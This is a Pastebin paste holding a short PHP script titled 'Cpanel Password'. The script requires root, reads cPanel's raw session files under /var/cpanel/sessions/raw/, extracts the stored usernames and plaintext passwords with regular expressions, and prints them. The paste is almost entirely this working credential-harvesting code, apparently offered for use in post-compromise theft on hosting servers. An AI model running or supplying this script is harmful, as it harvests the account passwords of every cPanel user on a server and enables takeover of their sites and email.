Guest User

Untitled

a guest
Apr 20th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/local/cpanel/3rdparty/bin/php
  2. <?php
  3. echo "
  4. [*]-----------------------------------------------------------------------[*]
  5. [+] Script Name    : Cpanel Password
  6. [+] By             : RAB3OUN
  7. [*]-----------------------------------------------------------------------[*]
  8. \n";
  9.  
  10. if(getmyuid() != 0){ die('u need 2 be root to run this script'); }
  11.  
  12. foreach(glob('/var/cpanel/sessions/raw/*') as $file){
  13.     $content = file_get_contents($file);
  14.     if(preg_match("/user=(.*)/" , $content , $matches1) && preg_match("/pass=(.*)/" , $content , $matches2)){
  15.         $results[] = "USER: {$matches1[1]}\nPASS: {$matches2[1]}\n\n";
  16.     }
  17. }
  18.  
  19. $results = array_unique($results);
  20. echo implode('',$results);
  21. ?>
Add Comment
Please, Sign In to add comment